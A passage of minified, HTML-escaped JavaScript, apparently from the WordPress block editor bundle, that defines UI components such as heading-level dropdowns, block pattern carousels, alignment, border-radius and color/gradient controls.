_ee=l(A(),1),xee=l(w(),1),See={0:OL,1:jA,2:HA,3:WA,4:KA,5:qA,6:XA};function d3({level:e}){return See[e]?(0,xee.jsx)(_ee.Icon,{icon:See[e]}):null}var HT=l(w(),1),wee=[1,2,3,4,5,6],zBe={className:&quot;block-library-heading-level-dropdown&quot;};function Bee({options:e=wee,value:t,onChange:o}){let r=e.filter(n=&gt;n===0||wee.includes(n)).sort((n,i)=&gt;n-i);return(0,HT.jsx)(Cee.ToolbarDropdownMenu,{popoverProps:zBe,icon:(0,HT.jsx)(d3,{level:t}),label:(0,Jg.__)(&quot;Change level&quot;),controls:r.map(n=&gt;{let i=n===t;return{icon:(0,HT.jsx)(d3,{level:n}),title:n===0?(0,Jg.__)(&quot;Paragraph&quot;):(0,Jg.sprintf)((0,Jg.__)(&quot;Heading %d&quot;),n),isActive:i,onClick(){o(n)},role:&quot;menuitemradio&quot;}})})}var MS=l(N(),1),DS=l(A(),1);var cc=l(w(),1);function jBe({icon:e=yL,label:t=(0,MS.__)(&quot;Choose variation&quot;),instructions:o=(0,MS.__)(&quot;Select a variation to start with:&quot;),variations:r,onSelect:n,allowSkip:i}){let s=V(&quot;block-editor-block-variation-picker&quot;,{&quot;has-many-variations&quot;:r.length&gt;4});return(0,cc.jsxs)(DS.Placeholder,{icon:e,label:t,instructions:o,className:s,children:[(0,cc.jsx)(&quot;ul&quot;,{className:&quot;block-editor-block-variation-picker__variations&quot;,role:&quot;list&quot;,&quot;aria-label&quot;:(0,MS.__)(&quot;Block variations&quot;),children:r.map(a=&gt;(0,cc.jsxs)(&quot;li&quot;,{children:[(0,cc.jsx)(DS.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,icon:a.icon&amp;&amp;a.icon.src?a.icon.src:a.icon,iconSize:48,onClick:()=&gt;n(a),className:&quot;block-editor-block-variation-picker__variation&quot;,label:a.description||a.title}),(0,cc.jsx)(&quot;span&quot;,{className:&quot;block-editor-block-variation-picker__variation-label&quot;,children:a.title})]},a.name))}),i&amp;&amp;(0,cc.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-variation-picker__skip&quot;,children:(0,cc.jsx)(DS.Button,{__next40pxDefaultSize:!0,variant:&quot;link&quot;,onClick:()=&gt;n(),children:(0,MS.__)(&quot;Skip&quot;)})})]})}var Eee=jBe;var Ree=l(F(),1),Oee=l($(),1),tb=l(A(),1),f3=l(R(),1),m3=l(Z(),1),Aee=l(N(),1);var uc=l(N(),1),eb=l(A(),1);var kd={carousel:&quot;carousel&quot;,grid:&quot;grid&quot;};var si=l(w(),1),UBe=({onBlockPatternSelect:e})=&gt;(0,si.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-pattern-setup__actions&quot;,children:(0,si.jsx)(eb.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,onClick:e,children:(0,uc.__)(&quot;Choose&quot;)})}),HBe=({handlePrevious:e,handleNext:t,activeSlide:o,totalSlides:r})=&gt;(0,si.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-pattern-setup__navigation&quot;,children:[(0,si.jsx)(eb.Button,{size:&quot;compact&quot;,icon:(0,uc.isRTL)()?Vo:Mr,label:(0,uc.__)(&quot;Previous pattern&quot;),onClick:e,disabled:o===0,accessibleWhenDisabled:!0}),(0,si.jsx)(eb.Button,{size:&quot;compact&quot;,icon:(0,uc.isRTL)()?Mr:Vo,label:(0,uc.__)(&quot;Next pattern&quot;),onClick:t,disabled:o===r-1,accessibleWhenDisabled:!0})]}),GBe=({viewMode:e,setViewMode:t,handlePrevious:o,handleNext:r,activeSlide:n,totalSlides:i,onBlockPatternSelect:s})=&gt;{let a=e===kd.carousel,c=(0,si.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-pattern-setup__display-controls&quot;,children:[(0,si.jsx)(eb.Button,{size:&quot;compact&quot;,icon:_v,label:(0,uc.__)(&quot;Carousel view&quot;),onClick:()=&gt;t(kd.carousel),isPressed:a}),(0,si.jsx)(eb.Button,{size:&quot;compact&quot;,icon:rv,label:(0,uc.__)(&quot;Grid view&quot;),onClick:()=&gt;t(kd.grid),isPressed:e===kd.grid})]});return(0,si.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-pattern-setup__toolbar&quot;,children:[a&amp;&amp;(0,si.jsx)(HBe,{handlePrevious:o,handleNext:r,activeSlide:n,totalSlides:i}),c,a&amp;&amp;(0,si.jsx)(UBe,{onBlockPatternSelect:s})]})},Tee=GBe;var Iee=l(F(),1);function WBe(e,t,o){return(0,Iee.useSelect)(r=&gt;{let{getBlockRootClientId:n,getPatternsByBlockTypes:i,__experimentalGetAllowedPatterns:s}=r(_),a=n(e);return o?s(a).filter(o):i(t,a)},[e,t,o])}var Pee=WBe;var zt=l(w(),1),$Be=({viewMode:e,activeSlide:t,patterns:o,onBlockPatternSelect:r,showTitles:n})=&gt;{let i=&quot;block-editor-block-pattern-setup__container&quot;;if(e===kd.carousel){let s=new Map([[t,&quot;active-slide&quot;],[t-1,&quot;previous-slide&quot;],[t+1,&quot;next-slide&quot;]]);return(0,zt.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-pattern-setup__carousel&quot;,children:(0,zt.jsx)(&quot;div&quot;,{className:i,children:(0,zt.jsx)(&quot;div&quot;,{className:&quot;carousel-container&quot;,children:o.map((a,c)=&gt;(0,zt.jsx)(Nee,{active:c===t,className:s.get(c)||&quot;&quot;,pattern:a},a.name))})})})}return(0,zt.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-pattern-setup__grid&quot;,children:(0,zt.jsx)(tb.Composite,{role:&quot;listbox&quot;,className:i,&quot;aria-label&quot;:(0,Aee.__)(&quot;Patterns list&quot;),children:o.map(s=&gt;(0,zt.jsx)(Lee,{pattern:s,onSelect:r,showTitles:n},s.name))})})};function Lee({pattern:e,onSelect:t,showTitles:o}){let r=&quot;block-editor-block-pattern-setup-list&quot;,{blocks:n,description:i,viewportWidth:s=700}=e,a=(0,m3.useInstanceId)(Lee,`${r}__item-description`);return(0,zt.jsx)(&quot;div&quot;,{className:`${r}__list-item`,children:(0,zt.jsxs)(tb.Composite.Item,{render:(0,zt.jsx)(&quot;div&quot;,{&quot;aria-describedby&quot;:i?a:void 0,&quot;aria-label&quot;:e.title,className:`${r}__item`}),id:`${r}__pattern__${e.name}`,role:&quot;option&quot;,onClick:()=&gt;t(n),children:[(0,zt.jsx)(vn,{blocks:n,viewportWidth:s}),o&amp;&amp;(0,zt.jsx)(&quot;div&quot;,{className:`${r}__item-title`,children:e.title}),!!i&amp;&amp;(0,zt.jsx)(tb.VisuallyHidden,{id:a,children:i})]})})}function Nee({active:e,className:t,pattern:o,minHeight:r}){let{blocks:n,title:i,description:s}=o,a=(0,m3.useInstanceId)(Nee,&quot;block-editor-block-pattern-setup-list__item-description&quot;);return(0,zt.jsxs)(&quot;div&quot;,{&quot;aria-hidden&quot;:!e,role:&quot;img&quot;,className:`pattern-slide ${t}`,&quot;aria-label&quot;:i,&quot;aria-describedby&quot;:s?a:void 0,children:[(0,zt.jsx)(vn,{blocks:n,minHeight:r}),!!s&amp;&amp;(0,zt.jsx)(tb.VisuallyHidden,{id:a,children:s})]})}var KBe=({clientId:e,blockName:t,filterPatternsFn:o,onBlockPatternSelect:r,initialViewMode:n=kd.carousel,showTitles:i=!1})=&gt;{let[s,a]=(0,f3.useState)(n),[c,u]=(0,f3.useState)(0),{replaceBlock:d}=(0,Ree.useDispatch)(_),f=Pee(e,t,o);if(!f?.length)return null;let h=r||(p=&gt;{let g=p.map(b=&gt;(0,Oee.cloneBlock)(b));d(e,g)});return(0,zt.jsx)(zt.Fragment,{children:(0,zt.jsxs)(&quot;div&quot;,{className:`block-editor-block-pattern-setup view-mode-${s}`,children:[(0,zt.jsx)($Be,{viewMode:s,activeSlide:c,patterns:f,onBlockPatternSelect:h,showTitles:i}),(0,zt.jsx)(Tee,{viewMode:s,setViewMode:a,activeSlide:c,totalSlides:f.length,handleNext:()=&gt;{u(p=&gt;Math.min(p+1,f.length-1))},handlePrevious:()=&gt;{u(p=&gt;Math.max(p-1,0))},onBlockPatternSelect:()=&gt;{h(f[c].blocks)}})]})})},Mee=KBe;var p3=l($(),1),dc=l(N(),1),Ws=l(A(),1),GT=l(F(),1),Dee=l(R(),1);var Ao=l(w(),1),{Menu:Vm}=M(Ws.privateApis);function YBe({className:e,onSelectVariation:t,selectedValue:o,variations:r}){return(0,Ao.jsxs)(&quot;fieldset&quot;,{className:e,children:[(0,Ao.jsx)(Ws.VisuallyHidden,{as:&quot;legend&quot;,children:(0,dc.__)(&quot;Transform to variation&quot;)}),r.map(n=&gt;(0,Ao.jsx)(Ws.Button,{__next40pxDefaultSize:!0,size:&quot;compact&quot;,icon:(0,Ao.jsx)(Ae,{icon:n.icon,showColors:!0}),isPressed:o===n.name,label:o===n.name?n.title:(0,dc.sprintf)((0,dc.__)(&quot;Transform to %s&quot;),n.title),onClick:()=&gt;t(n.name),&quot;aria-label&quot;:n.title,showTooltip:!0},n.name))]})}function qBe({className:e,onSelectVariation:t,selectedValue:o,variations:r}){return(0,Ao.jsx)(&quot;div&quot;,{className:e,children:(0,Ao.jsxs)(Vm,{children:[(0,Ao.jsx)(Vm.TriggerButton,{render:(0,Ao.jsx)(Ws.Button,{className:&quot;block-editor-block-variation-transforms__button&quot;,__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,children:(0,dc.__)(&quot;Transform to variation&quot;)})}),(0,Ao.jsx)(Vm.Popover,{position:&quot;bottom&quot;,children:(0,Ao.jsx)(Vm.Group,{children:r.map(n=&gt;(0,Ao.jsxs)(Vm.RadioItem,{value:n.name,checked:o===n.name,onChange:()=&gt;t(n.name),children:[(0,Ao.jsx)(Vm.ItemLabel,{children:n.title}),n.description&amp;&amp;(0,Ao.jsx)(Vm.ItemHelpText,{children:n.description})]},n.name))})})]})})}function ZBe({className:e,onSelectVariation:t,selectedValue:o,variations:r}){return(0,Ao.jsx)(&quot;div&quot;,{className:e,children:(0,Ao.jsx)(Ws.__experimentalToggleGroupControl,{label:(0,dc.__)(&quot;Transform to variation&quot;),value:o,hideLabelFromVision:!0,onChange:t,__next40pxDefaultSize:!0,children:r.map(n=&gt;(0,Ao.jsx)(Ws.__experimentalToggleGroupControlOptionIcon,{icon:(0,Ao.jsx)(Ae,{icon:n.icon,showColors:!0}),value:n.name,label:o===n.name?n.title:(0,dc.sprintf)((0,dc.__)(&quot;Transform to %s&quot;),n.title)},n.name))})})}function XBe({blockClientId:e}){let{updateBlockAttributes:t}=(0,GT.useDispatch)(_),{activeBlockVariation:o,variations:r,canEdit:n,isContentOnly:i,isSection:s}=(0,GT.useSelect)(p=&gt;{let{getActiveBlockVariation:g,getBlockVariations:b}=p(p3.store),{getBlockName:v,getBlockAttributes:k,getBlockEditingMode:y,isSectionBlock:S}=M(p(_)),{canEditBlock:x}=p(_),C=e&amp;&amp;v(e),{hasContentRoleAttribute:B}=M(p(p3.store)),I=B(C);return{activeBlockVariation:g(C,k(e),&quot;transform&quot;),variations:C&amp;&amp;b(C,&quot;transform&quot;),canEdit:x(e),isContentOnly:y(e)===&quot;contentOnly&quot;&amp;&amp;!I,isSection:S(e)}},[e]),a=o?.name,c=(0,Dee.useMemo)(()=&gt;{let p=new Set;return r?(r.forEach(g=&gt;{g.icon&amp;&amp;p.add(g.icon?.src||g.icon)}),p.size===r.length):!1},[r]),u=p=&gt;{t(e,{...r.find(({name:g})=&gt;g===p).attributes})};if(!r?.length||!n||i||s)return null;let d=&quot;block-editor-block-variation-transforms&quot;,m=r.length&gt;6?YBe:ZBe;return(0,Ao.jsx)(c?m:qBe,{className:d,onSelectVariation:u,selectedValue:a,variations:r})}var WT=XBe;var Fm=l(N(),1),$T=l(A(),1);var Vee=l(w(),1),h3={top:{icon:bL,title:(0,Fm._x)(&quot;Align top&quot;,&quot;Block vertical alignment setting&quot;)},center:{icon:sL,title:(0,Fm._x)(&quot;Align middle&quot;,&quot;Block vertical alignment setting&quot;)},bottom:{icon:nL,title:(0,Fm._x)(&quot;Align bottom&quot;,&quot;Block vertical alignment setting&quot;)},stretch:{icon:pL,title:(0,Fm._x)(&quot;Stretch to fill&quot;,&quot;Block vertical alignment setting&quot;)},&quot;space-between&quot;:{icon:dL,title:(0,Fm._x)(&quot;Space between&quot;,&quot;Block vertical alignment setting&quot;)}},QBe=[&quot;top&quot;,&quot;center&quot;,&quot;bottom&quot;],JBe=&quot;top&quot;;function eEe({value:e,onChange:t,controls:o=QBe,isCollapsed:r=!0,isToolbar:n}){function i(d){return()=&gt;t(e===d?void 0:d)}let s=h3[e],a=h3[JBe],c=n?$T.ToolbarGroup:$T.ToolbarDropdownMenu,u=n?{isCollapsed:r}:{};return(0,Vee.jsx)(c,{icon:s?s.icon:a.icon,label:(0,Fm._x)(&quot;Change vertical alignment&quot;,&quot;Block vertical alignment setting label&quot;),controls:o.map(d=&gt;({...h3[d],isActive:e===d,role:r?&quot;menuitemradio&quot;:void 0,onClick:i(d)})),...u})}var g3=eEe;var b3=l(w(),1),iC=e=&gt;(0,b3.jsx)(g3,{...e,isToolbar:!1}),Fee=e=&gt;(0,b3.jsx)(g3,{...e,isToolbar:!0});var Bn=l(A(),1),VS=l(R(),1),qT=l(N(),1);var zee=l(A(),1);var k3=l(N(),1),jee=l(w(),1);function Uee({isLinked:e,...t}){let o=e?(0,k3.__)(&quot;Unlink radii&quot;):(0,k3.__)(&quot;Link radii&quot;);return(0,jee.jsx)(zee.Button,{...t,className:&quot;components-border-radius-control__linked-button&quot;,size:&quot;small&quot;,icon:e?fn:Ci,iconSize:24,label:o})}var Hee=l(A(),1);function tEe(e){return[...e].sort((o,r)=&gt;e.filter(n=&gt;n===r).length-e.filter(n=&gt;n===o).length).shift()}function Gee(e={}){if(typeof e==&quot;string&quot;)return e;let t=Object.values(e).map(a=&gt;{let c=(0,Hee.__experimentalParseQuantityAndUnitFromRawValue)(a);return typeof a==&quot;string&quot;&amp;&amp;c[0]===void 0?[a,&quot;&quot;]:c}),o=t.map(a=&gt;a[0]??&quot;&quot;),r=t.map(a=&gt;a[1]),n=o.every(a=&gt;a===o[0])?o[0]:&quot;&quot;,i=tEe(r);return n===0||n?`${n}${i||&quot;&quot;}`:void 0}function Wee(e={}){if(typeof e==&quot;string&quot;||!e||typeof e!=&quot;object&quot;)return!1;let t=Object.values(e);if(t.length===0)return!1;let o=t[0];return!t.every(n=&gt;n===o)}function $ee(e){return e?typeof e==&quot;string&quot;?!0:!!Object.values(e).filter(o=&gt;!!o||o===0).length:!1}var Qi=l(A(),1),Qee=l(Z(),1),yd=l(N(),1);var zm=l(R(),1);var v3=24,Kee=8,KT={px:{max:300,steps:1},&quot;%&quot;:{max:100,steps:1},vw:{max:100,steps:1},vh:{max:100,steps:1},em:{max:10,steps:.1},rem:{max:10,steps:.1},svw:{max:100,steps:1},lvw:{max:100,steps:1},dvw:{max:100,steps:1},svh:{max:100,steps:1},lvh:{max:100,steps:1},dvh:{max:100,steps:1},vi:{max:100,steps:1},svi:{max:100,steps:1},lvi:{max:100,steps:1},dvi:{max:100,steps:1},vb:{max:100,steps:1},svb:{max:100,steps:1},lvb:{max:100,steps:1},dvb:{max:100,steps:1},vmin:{max:100,steps:1},svmin:{max:100,steps:1},lvmin:{max:100,steps:1},dvmin:{max:100,steps:1},vmax:{max:100,steps:1},svmax:{max:100,steps:1},lvmax:{max:100,steps:1},dvmax:{max:100,steps:1}};var vd=(e,t)=&gt;e?.includes?e===&quot;0&quot;||e.includes(`var:preset|${t}|`):!1;function Yee(e,t){if(!e)return;if(e===&quot;0&quot;||e===&quot;default&quot;)return e;let o=e.match(new RegExp(`var:preset\\|${t}\\|(.+)`));return o?o[1]:void 0}function qee(e,t,o){if(e===void 0)return 0;let r=parseFloat(e,10)===0?&quot;0&quot;:Yee(e,o),n=t.findIndex(i=&gt;String(i.slug)===r);return n!==-1?n:NaN}function y3(e,t,o){if(!vd(e,o))return e;let r=parseFloat(e,10)===0?&quot;0&quot;:Yee(e,o);return t.find(i=&gt;String(i.slug)===r)?.size}function Zee(e,t,o){if(!e||vd(e,o)||e===&quot;0&quot;)return e;let r=t.find(n=&gt;String(n.size)===String(e));return r?.slug?`var:preset|${o}|${r.slug}`:e}var ob=l(A(),1),fc=l(w(),1);function Xee({allowNegativeOnDrag:e,ariaLabel:t,allPlaceholder:o,minValue:r,parsedQuantity:n,computedUnit:i,units:s,isMixed:a,step:c,max:u,showTooltip:d,value:f,minimumCustomValue:m,onCustomValueChange:h,onCustomValueSliderChange:p,onUnitChange:g,onMouseOut:b,onMouseOver:v,setMinValue:k}){let y=(0,fc.jsx)(ob.__experimentalUnitControl,{className:&quot;preset-input-control__unit-control&quot;,disableUnits:a,hideLabelFromVision:!0,label:t,min:r,onChange:h,onUnitChange:g,onBlur:b,onFocus:v,onMouseOut:b,onMouseOver:v,size:&quot;__unstable-large&quot;,units:s,value:[n,i].join(&quot;&quot;),placeholder:o,onDragStart:()=&gt;{e&amp;&amp;f?.charAt(0)===&quot;-&quot;&amp;&amp;k(0)},onDrag:()=&gt;{e&amp;&amp;f?.charAt(0)===&quot;-&quot;&amp;&amp;k(0)},onDragEnd:()=&gt;{e&amp;&amp;k(m)}});return(0,fc.jsxs)(fc.Fragment,{children:[d?(0,fc.jsx)(ob.Tooltip,{text:t,placement:&quot;top&quot;,children:(0,fc.jsx)(&quot;div&quot;,{className:&quot;preset-input-control__tooltip-wrapper&quot;,children:y})}):y,(0,fc.jsx)(ob.RangeControl,{className:&quot;preset-input-control__custom-value-range&quot;,hideLabelFromVision:!0,initialPosition:0,label:t,max:u,min:0,onBlur:b,onChange:p,onFocus:v,onMouseOut:b,onMouseOver:v,step:c,value:n,withInputField:!1,__next40pxDefaultSize:!0})]})}var Sd=l(w(),1);function jm({allowNegativeOnDrag:e=!1,ariaLabel:t,className:o,customValueSettings:r=KT,disableCustomValues:n,icon:i,isMixed:s,value:a,minimumCustomValue:c,onChange:u,onMouseOut:d,onMouseOver:f,onUnitChange:m,presets:h=[],presetType:p,selectedUnit:g,showTooltip:b,units:v}){let k=(0,zm.useMemo)(()=&gt;Zee(a,h,p),[a,h,p]),y=o??&quot;preset-input-control&quot;,S=h.slice(1,h.length-1).map((K,H)=&gt;({value:H+1,label:void 0})),x=S.length&gt;0,C=h.length&lt;=Kee,B=s?(0,yd.__)(&quot;Mixed&quot;):null,[I,P]=(0,zm.useState)(c),[E,L]=(0,zm.useState)(!n&amp;&amp;k!==void 0&amp;&amp;!vd(k,p)),T=null,O=(0,Qee.usePrevious)(k);(0,zm.useEffect)(()=&gt;{k&amp;&amp;O!==k&amp;&amp;!vd(k,p)&amp;&amp;E!==!0&amp;&amp;L(!0)},[k,O,p,E]);let D=!C&amp;&amp;!E&amp;&amp;k!==void 0&amp;&amp;(!vd(k,p)||vd(k,p)&amp;&amp;s),U=h;D?(U=[...h,{name:s?(0,yd.__)(&quot;Mixed&quot;):(0,yd.sprintf)((0,yd.__)(&quot;Custom (%s)&quot;),k),slug:&quot;custom&quot;,size:k}],T=U.length-1):s||(T=E?y3(k,h,p):qee(k,h,p));let G=U.map((K,H)=&gt;({key:H,name:K.name})),j=vd(k,p)?y3(k,h,p):k,[z,W]=(0,Qi.__experimentalParseQuantityAndUnitFromRawValue)(j),ee=W||g||&quot;px&quot;,se=v?.find(K=&gt;K.value===ee),ce=se?.step??r[ee]?.steps??.1,ie=se?.max??r[ee]?.max??10,re=K=&gt;{let X=!isNaN(parseFloat(K))?K:void 0;X!==void 0&amp;&amp;u(X)},Q=K=&gt;{u([K,ee].join(&quot;&quot;))},Y=K=&gt;k===void 0?void 0:h[K]?.name,J=(K,H)=&gt;{let X=parseInt(K,10);if(H===&quot;selectList&quot;){if(X===0&amp;&amp;h[0]?.slug===&quot;0&quot;)return&quot;0&quot;;if(X===0)return}else if(X===0)return&quot;0&quot;;return`var:preset|${p}|${h[K]?.slug}`};return(0,Sd.jsxs)(Qi.__experimentalHStack,{className:`preset-input-control__wrapper ${y}__wrapper`,children:[i&amp;&amp;(0,Sd.jsx)(Qi.Icon,{className:&quot;preset-input-control__icon&quot;,icon:i,size:v3}),(!x||E)&amp;&amp;(0,Sd.jsx)(Xee,{allowNegativeOnDrag:e,ariaLabel:t,allPlaceholder:B,minValue:I,parsedQuantity:z,computedUnit:ee,units:v,isMixed:s,step:ce,max:ie,showTooltip:b,value:k,minimumCustomValue:c,onCustomValueChange:re,onCustomValueSliderChange:Q,onUnitChange:m,onMouseOut:d,onMouseOver:f,setMinValue:P}),x&amp;&amp;C&amp;&amp;!E&amp;&amp;(0,Sd.jsx)(Qi.RangeControl,{&quot;aria-valuenow&quot;:T,&quot;aria-valuetext&quot;:h[T]?.name,className:&quot;preset-input-control__preset-range&quot;,hideLabelFromVision:!0,initialPosition:0,label:t,max:h.length-1,marks:S,min:0,onBlur:d,onChange:K=&gt;u(J(K)),onFocus:f,onMouseDown:K=&gt;{K?.nativeEvent?.offsetX&lt;35&amp;&amp;k===void 0&amp;&amp;u(&quot;0&quot;)},onMouseOut:d,onMouseOver:f,renderTooltipContent:Y,step:1,value:T,withInputField:!1,__next40pxDefaultSize:!0}),x&amp;&amp;!C&amp;&amp;!E&amp;&amp;(0,Sd.jsx)(Qi.CustomSelectControl,{className:&quot;preset-input-control__custom-select-control&quot;,hideLabelFromVision:!0,label:t,onBlur:d,onChange:K=&gt;{D&amp;&amp;K.selectedItem.key===G.length-1?L(!0):u(J(K.selectedItem.key,&quot;selectList&quot;))},onFocus:f,onMouseOut:d,onMouseOver:f,options:G,size:&quot;__unstable-large&quot;,value:G.find(K=&gt;K.key===T)||&quot;&quot;}),x&amp;&amp;!n&amp;&amp;(0,Sd.jsx)(Qi.Button,{className:&quot;preset-input-control__custom-toggle&quot;,icon:rN,iconSize:v3,isPressed:E,label:E?(0,yd.__)(&quot;Use preset&quot;):(0,yd.__)(&quot;Set custom value&quot;),onClick:()=&gt;{L(!E)},size:&quot;small&quot;})]})}var rb=l(N(),1);var Jee=8,YT=[],S3={all:(0,rb.__)(&quot;Border radius&quot;),topLeft:(0,rb.__)(&quot;Top left&quot;),topRight:(0,rb.__)(&quot;Top right&quot;),bottomLeft:(0,rb.__)(&quot;Bottom left&quot;),bottomRight:(0,rb.__)(&quot;Bottom right&quot;)},_3={all:aA,topLeft:uA,topRight:dA,bottomLeft:lA,bottomRight:cA},x3=0;var mc=l(w(),1);function oEe(e){let t=e?.default??YT,o=e?.custom??YT,r=e?.theme??YT;return(0,VS.useMemo)(()=&gt;{let n=[{name:(0,qT.__)(&quot;None&quot;),slug:&quot;0&quot;,size:0},...o,...r,...t];return n.length&gt;Jee?[{name:(0,qT.__)(&quot;Default&quot;),slug:&quot;default&quot;,size:void 0},...n]:n},[o,r,t])}function ete(e,t){return t===&quot;all&quot;?Gee(e):typeof e==&quot;string&quot;?e:e?.[t]}function tte(e,t){return t===&quot;all&quot;?e.flat:e[t]}function ote(e,t,o){return r=&gt;{o(e===&quot;all&quot;?{topLeft:r,topRight:r,bottomLeft:r,bottomRight:r}:{...typeof t!=&quot;string&quot;?t||{}:{topLeft:t,topRight:t,bottomLeft:t,bottomRight:t},[e]:r})}}function rte(e,t,o){return r=&gt;{let n={...t};e===&quot;all&quot;?(n.flat=r,n.topLeft=r,n.topRight=r,n.bottomLeft=r,n.bottomRight=r):n[e]=r,o(n)}}function ZT({onChange:e,values:t,presets:o}){let[r,n]=(0,VS.useState)(!$ee(t)||!Wee(t)),i=oEe(o),[s,a]=(0,VS.useState)({flat:typeof t==&quot;string&quot;?(0,Bn.__experimentalParseQuantityAndUnitFromRawValue)(t)[1]:void 0,topLeft:(0,Bn.__experimentalParseQuantityAndUnitFromRawValue)(t?.topLeft)[1],topRight:(0,Bn.__experimentalParseQuantityAndUnitFromRawValue)(t?.topRight)[1],bottomLeft:(0,Bn.__experimentalParseQuantityAndUnitFromRawValue)(t?.bottomLeft)[1],bottomRight:(0,Bn.__experimentalParseQuantityAndUnitFromRawValue)(t?.bottomRight)[1]}),[c]=me(&quot;spacing.units&quot;),u=(0,Bn.__experimentalUseCustomUnits)({availableUnits:c||[&quot;px&quot;,&quot;em&quot;,&quot;rem&quot;]}),d=()=&gt;n(!r);return(0,mc.jsxs)(&quot;fieldset&quot;,{className:&quot;components-border-radius-control&quot;,children:[(0,mc.jsxs)(Bn.__experimentalHStack,{className:&quot;components-border-radius-control__header&quot;,children:[(0,mc.jsx)(Bn.BaseControl.VisualLabel,{as:&quot;legend&quot;,children:(0,qT.__)(&quot;Radius&quot;)}),(0,mc.jsx)(Uee,{onClick:d,isLinked:r})]}),r?(0,mc.jsx)(jm,{ariaLabel:S3.all,className:&quot;components-border-radius-control&quot;,icon:_3.all,minimumCustomValue:x3,onChange:ote(&quot;all&quot;,t,e),onUnitChange:rte(&quot;all&quot;,s,a),presets:i,presetType:&quot;border-radius&quot;,selectedUnit:tte(s,&quot;all&quot;),showTooltip:!0,units:u,value:ete(t,&quot;all&quot;)}):(0,mc.jsx)(Bn.__experimentalVStack,{children:[&quot;topLeft&quot;,&quot;topRight&quot;,&quot;bottomLeft&quot;,&quot;bottomRight&quot;].map(f=&gt;(0,mc.jsx)(jm,{ariaLabel:S3[f],className:&quot;components-border-radius-control&quot;,icon:_3[f],minimumCustomValue:x3,onChange:ote(f,t,e),onUnitChange:rte(f,s,a),presets:i,presetType:&quot;border-radius&quot;,selectedUnit:tte(s,f),showTooltip:!0,units:u,value:ete(t,f)},f))})]})}var ste=l(A(),1);var nte=l(Z(),1);var ite=l(w(),1),XT=(0,nte.createHigherOrderComponent)(e=&gt;function(o){let[r,n,i,s,a]=me(&quot;color.palette.default&quot;,&quot;color.palette.theme&quot;,&quot;color.palette.custom&quot;,&quot;color.custom&quot;,&quot;color.defaultPalette&quot;),c=a?[...n||[],...r||[],...i||[]]:[...n||[],...i||[]],{colors:u=c,disableCustomColors:d=!s}=o,f=u&amp;&amp;u.length&gt;0||!d;return(0,ite.jsx)(e,{...o,colors:u,disableCustomColors:d,hasColorsToChoose:f})},&quot;withColorContext&quot;);var ate=XT(ste.ColorPalette);var w3=l(N(),1),$s=l(A(),1);var yo=l(w(),1),{Tabs:nb}=M($s.privateApis),rEe=[&quot;colors&quot;,&quot;disableCustomColors&quot;,&quot;gradients&quot;,&quot;disableCustomGradients&quot;],Va={color:&quot;color&quot;,gradient:&quot;gradient&quot;};function lte({colors:e,gradients:t,disableCustomColors:o,disableCustomGradients:r,__experimentalIsRenderedInSidebar:n,className:i,label:s,onColorChange:a,onGradientChange:c,colorValue:u,gradientValue:d,clearable:f,showTitle:m=!0,enableAlpha:h,headingLevel:p}){let g=a&amp;&amp;(e&amp;&amp;e.length&gt;0||!o),b=c&amp;&amp;(t&amp;&amp;t.length&gt;0||!r);if(!g&amp;&amp;!b)return null;let v={[Va.color]:(0,yo.jsx)($s.ColorPalette,{value:u,onChange:b?y=&gt;{a(y),c()}:a,colors:e,disableCustomColors:o,__experimentalIsRenderedInSidebar:n,clearable:f,enableAlpha:h,headingLevel:p}),[Va.gradient]:(0,yo.jsx)($s.GradientPicker,{value:d,onChange:g?y=&gt;{c(y),a()}:c,gradients:t,disableCustomGradients:r,__experimentalIsRenderedInSidebar:n,clearable:f,headingLevel:p})},k=y=&gt;(0,yo.jsx)(&quot;div&quot;,{className:&quot;block-editor-color-gradient-control__panel&quot;,children:v[y]});return(0,yo.jsx)($s.BaseControl,{className:V(&quot;block-editor-color-gradient-control&quot;,i),children:(0,yo.jsx)(&quot;fieldset&quot;,{className:&quot;block-editor-color-gradient-control__fieldset&quot;,children:(0,yo.jsxs)($s.__experimentalVStack,{spacing:1,children:[m&amp;&amp;(0,yo.jsx)(&quot;legend&quot;,{children:(0,yo.jsx)(&quot;div&quot;,{className:&quot;block-editor-color-gradient-control__color-indicator&quot;,children:(0,yo.jsx)($s.BaseControl.VisualLabel,{children:s})})}),g&amp;&amp;b&amp;&amp;(0,yo.jsx)(&quot;div&quot;,{children:(0,yo.jsxs)(nb,{defaultTabId:d?Va.gradient:!!g&amp;&amp;Va.color,children:[(0,yo.jsxs)(nb.TabList,{children:[(0,yo.jsx)(nb.Tab,{tabId:Va.color,children:(0,w3.__)(&quot;Color&quot;)}),(0,yo.jsx)(nb.Tab,{tabId:Va.gradient,children:(0,w3.__)(&quot;Gradient&quot;)})]}),(0,yo.jsx)(nb.TabPanel,{tabId:Va.color,className:&quot;block-editor-color-gradient-control__panel&quot;,focusable:!1,children:v.color}),(0,yo.jsx)(nb.TabPanel,{tabId:Va.gradient,className:&quot;block-editor-color-gradient-control__panel&quot;,focusable:!1,children:v.gradient})]})}),!b&amp;&amp;k(Va.color),!g&amp;&amp;k(Va.gradient)]})})})}function nEe(e){let[t,o,r,n]=me(&quot;color.palette&quot;,&quot;color.gradients&quot;,&quot;color.custom&quot;,&quot;color.customGradient&quot;);return(0,yo.jsx)(lte,{colors:t,gradients:o,disableCustomColors:!r,disableCustomGradients:!n,...e})}function iEe(e){return rEe.every(t=&gt;e.hasOwnProperty(t))?(0,yo.jsx)(lte,{...e}):(0,yo.jsx)(nEe,{...e})}var _d=iEe;var cte=l(w(),1);function ute({onChange:e,value:t,...o}){return(0,cte.jsx)(_d,{...o,onColorChange:e,colorValue:t,gradients:[],disableCustomGradients:!0})}var Ks=l(N(),1),dte=l(A(),1),fte=l(Xo(),1),C3=l(w(),1);Kc([Yc,Op]);function sEe({backgroundColor:e,fallbackBackgroundColor:t,fallbackTextColor:o,fallbackLinkColor:r,fontSize:n,isLargeText:i,textColor:s,linkColor:a,enableAlphaChecker:c=!1}){let u=e||t;if(!u)return null;let d=s||o,f=a||r;if(!d&amp;&amp;!f)return null;let 